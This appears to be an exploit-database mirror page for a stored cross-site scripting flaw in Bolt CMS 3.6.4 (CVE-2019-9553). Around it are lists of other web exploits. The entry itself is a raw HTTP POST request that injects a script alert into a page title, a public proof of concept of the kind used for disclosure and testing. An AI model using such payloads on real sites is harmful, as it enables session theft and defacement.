Menu

Improved exploit search engine. Try it out

"Bolt CMS 3.6.4 - Cross-Site Scripting"

Author

"Ismail Tasdelen"

Platform

php

Release date

2019-03-04

Release Date Title Type Platform Author
2019-07-15 "FlightPath < 4.8.2 / < 5.0-rc2 - Local File Inclusion" webapps php "Mohammed Althibyani"
2019-07-12 "MyT Project Management 1.5.1 - User[username] Persistent Cross-Site Scripting" webapps php "Metin Yunus Kandemir"
2019-07-08 "WordPress Plugin Like Button 1.6.0 - Authentication Bypass" webapps php "Benjamin Lim"
2019-07-08 "Karenderia Multiple Restaurant System 5.3 - SQL Injection" webapps php "Mehmet EMIROGLU"
2019-07-05 "Karenderia Multiple Restaurant System 5.3 - Local File Inclusion" webapps php "Mehmet EMIROGLU"
2019-07-02 "Centreon 19.04 - Remote Code Execution" webapps php Askar
2019-07-01 "ZoneMinder 1.32.3 - Cross-Site Scripting" webapps php "Joey Lane"
2019-07-01 "CiuisCRM 1.6 - 'eventType' SQL Injection" webapps php "Mehmet EMIROGLU"
2019-07-01 "WorkSuite PRM 2.4 - 'password' SQL Injection" webapps php "Mehmet EMIROGLU"
2019-06-28 "LibreNMS 1.46 - 'addhost' Remote Code Execution" webapps php Askar
2019-06-25 "WordPress Plugin Live Chat Unlimited 2.8.3 - Cross-Site Scripting" webapps php m0ze
2019-06-25 "WordPress Plugin iLive 1.0.4 - Cross-Site Scripting" webapps php m0ze
2019-06-25 "AZADMIN CMS 1.0 - SQL Injection" webapps php "felipe andrian"
2019-06-24 "SeedDMS versions < 5.1.11 - Remote Command Execution" webapps php "Nimit Jain"
2019-06-24 "SeedDMS < 5.1.11 - 'out.GroupMgr.php' Cross-Site Scripting" webapps php "Nimit Jain"
2019-06-24 "SeedDMS < 5.1.11 - 'out.UsrMgr.php' Cross-Site Scripting" webapps php "Nimit Jain"
2019-06-24 "dotProject 2.1.9 - SQL Injection" webapps php "Metin Yunus Kandemir"
2019-06-20 "WebERP 4.15 - SQL injection" webapps php "Semen Alexandrovich Lyhin"
2019-06-17 "AROX School-ERP Pro - Unauthenticated Remote Command Execution (Metasploit)" remote php AkkuS
2019-06-12 "FusionPBX 4.4.3 - Remote Command Execution" webapps php "Dustin Cobb"
2019-06-11 "phpMyAdmin 4.8 - Cross-Site Request Forgery" webapps php Riemann
2019-06-11 "WordPress Plugin Insert or Embed Articulate Content into WordPress - Remote Code Execution" webapps php xulchibalraa
2019-06-10 "UliCMS 2019.1 'Spitting Lama' - Persistent Cross-Site Scripting" webapps php Unk9vvN
2019-06-04 "IceWarp 10.4.4 - Local File Inclusion" webapps php JameelNabbo
2019-06-03 "WordPress Plugin Form Maker 1.13.3 - SQL Injection" webapps php "Daniele Scanu"
2019-06-03 "KACE System Management Appliance (SMA) < 9.0.270 - Multiple Vulnerabilities" webapps php SlidingWindow
2019-05-29 "pfSense 2.4.4-p3 (ACME Package 0.59_14) - Persistent Cross-Site Scripting" webapps php "Chi Tran"
2019-05-24 "Opencart 3.0.3.2 - 'extension/feed/google_base' Denial of Service PoC" webapps php "Todor Donev"
2019-05-23 "Nagios XI 5.6.1 - SQL injection" webapps php JameelNabbo
2019-05-22 "Horde Webmail 5.2.22 - Multiple Vulnerabilities" webapps php InfinitumIT
Release Date Title Type Platform Author
2019-05-10 "RICOH SP 4520DN Printer - HTML Injection" webapps hardware "Ismail Tasdelen"
2019-05-10 "RICOH SP 4510DN Printer - HTML Injection" webapps hardware "Ismail Tasdelen"
2019-05-10 "dotCMS 5.1.1 - HTML Injection" webapps jsp "Ismail Tasdelen"
2019-03-28 "Fat Free CRM 0.19.0 - HTML Injection" webapps php "Ismail Tasdelen"
2019-03-04 "Craft CMS 3.1.12 Pro - Cross-Site Scripting" webapps php "Ismail Tasdelen"
2019-03-04 "Bolt CMS 3.6.4 - Cross-Site Scripting" webapps php "Ismail Tasdelen"
2018-10-25 "User Management 1.1 - Cross-Site Scripting" webapps php "Ismail Tasdelen"
2018-10-25 "Ekushey Project Manager CRM 3.1 - Cross-Site Scripting" webapps php "Ismail Tasdelen"
2018-10-24 "LANGO Codeigniter Multilingual Script 1.0 - Cross-Site Scripting" webapps php "Ismail Tasdelen"
2018-10-17 "BigTree CMS 4.2.23 - Cross-Site Scripting" webapps php "Ismail Tasdelen"
2018-10-16 "WordPress Plugin Support Board 1.2.3 - Cross-Site Scripting" webapps php "Ismail Tasdelen"
2018-10-16 "Library CMS 2.1.1 - Cross-Site Scripting" webapps php "Ismail Tasdelen"
2018-10-15 "AlchemyCMS 4.1 - Cross-Site Scripting" webapps ruby "Ismail Tasdelen"
2018-10-12 "CAMALEON CMS 2.4 - Cross-Site Scripting" webapps ruby "Ismail Tasdelen"
2018-10-12 "LUYA CMS 1.0.12 - Cross-Site Scripting" webapps php "Ismail Tasdelen"
2018-10-03 "RICOH MP C1803 JPN Printer - Cross-Site Scripting" webapps hardware "Ismail Tasdelen"
2018-10-03 "Airties AIR5342 1.0.0.18 - Cross-Site Scripting" webapps hardware "Ismail Tasdelen"
2018-10-02 "Coaster CMS 5.5.0 - Cross-Site Scripting" webapps php "Ismail Tasdelen"
2018-10-01 "Fork CMS 5.4.0 - Cross-Site Scripting" webapps php "Ismail Tasdelen"
2018-10-01 "ManageEngine AssetExplorer 6.2.0 - Cross-Site Scripting" webapps java "Ismail Tasdelen"
2018-09-27 "ManageEngine Desktop Central 10.0.271 - Cross-Site Scripting" webapps java "Ismail Tasdelen"
2018-09-25 "RICOH MP C406Z Printer - Cross-Site Scripting" webapps hardware "Ismail Tasdelen"
2018-09-25 "RICOH MP 305+ Printer - Cross-Site Scripting" webapps hardware "Ismail Tasdelen"
2018-09-25 "RICOH MP C6503 Plus Printer - Cross-Site Scripting" webapps hardware "Ismail Tasdelen"
2018-09-25 "RICOH MP C2003 Printer - Cross-Site Scripting" webapps hardware "Ismail Tasdelen"
2018-09-24 "RICOH MP C6003 Printer - Cross-Site Scripting" webapps hardware "Ismail Tasdelen"
2018-09-24 "RICOH Aficio MP 301 Printer - Cross-Site Scripting" webapps hardware "Ismail Tasdelen"
2018-08-27 "RICOH MP C4504ex Printer - Cross-Site Request Forgery (Add Admin)" webapps hardware "Ismail Tasdelen"
2018-08-26 "ManageEngine ADManager Plus 6.5.7 - Cross-Site Scripting" webapps windows_x86-64 "Ismail Tasdelen"
2018-08-25 "ManageEngine ADManager Plus 6.5.7 - HTML Injection" webapps windows "Ismail Tasdelen"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46495/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46495/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46495/40948/bolt-cms-364-cross-site-scripting/download/", "exploit_id": "46495", "exploit_description": "\"Bolt CMS 3.6.4 - Cross-Site Scripting\"", "exploit_date": "2019-03-04", "exploit_author": "\"Ismail Tasdelen\"", "exploit_type": "webapps", "exploit_platform": "php", "exploit_port": null}
                                            

For full documentation follow the link above

blog comments powered by Disqus

Browse exploit DB API Browse

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Exploit Title: Bolt CMS - 3.6.4 - Cross-Site Scripting
# Date: 2019-03-04
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://bolt.cm/
# Software Link : https://github.com/bolt/bolt
# Software : Bolt CMS - v 3.6.4
# Version : v 3.6.4
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : CVE-2019-9553

# The XSS vulnerability has been discovered in the Bolt CMS web application software due to its vulnerability in the source code in version 3.6.4.
 
# HTTP POST Request :
 
POST /bolt/editcontent/pages HTTP/1.1
Host: bolt-up3x24.bolt.dockerfly.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://bolt-up3x24.bolt.dockerfly.com/bolt/editcontent/pages
Content-Type: application/x-www-form-urlencoded
Content-Length: 562
DNT: 1
Connection: close
Cookie: bolt_session_5c201ab91521b607e364bc74271e51f1=3d540aa1d0a0fc38dde995dc6ba8a32e; bolt_authtoken_5c201ab91521b607e364bc74271e51f1=240049afe75abc53fbe51e75103ed138261da69b180ff241b7e815027c39f6fb
Upgrade-Insecure-Requests: 1

content_edit%5B_token%5D=u1EA_Zhor_EwrIyqIt-PLLK02DccGgZDDWFQm1325_8&editreferrer=&contenttype=pages&title=%22%3E%3Cscript%3Ealert%28%22ismailtasdelen%22%29%3C%2Fscript%3E&slug=script-alert-ismailtasdelen-script&image%5Bfile%5D=2019-03%2Fimg-src-x-onerror-prompt-1-.png&files%5B%5D=&teaser=%3Cp%3EBolt+3.6.4+CMS%3C%2Fp%3E%0D%0A&body=%3Cp%3EBolt+3.6.4+CMS%3C%2Fp%3E%0D%0A&template=&taxonomy%5Bgroups%5D%5B%5D=&taxonomy-order%5Bgroups%5D=0&id=&status=draft&datepublish=2019-03-04+08%3A24%3A47&datedepublish=&ownerid=1&_live-editor-preview=&content_edit%5Bsave%5D=1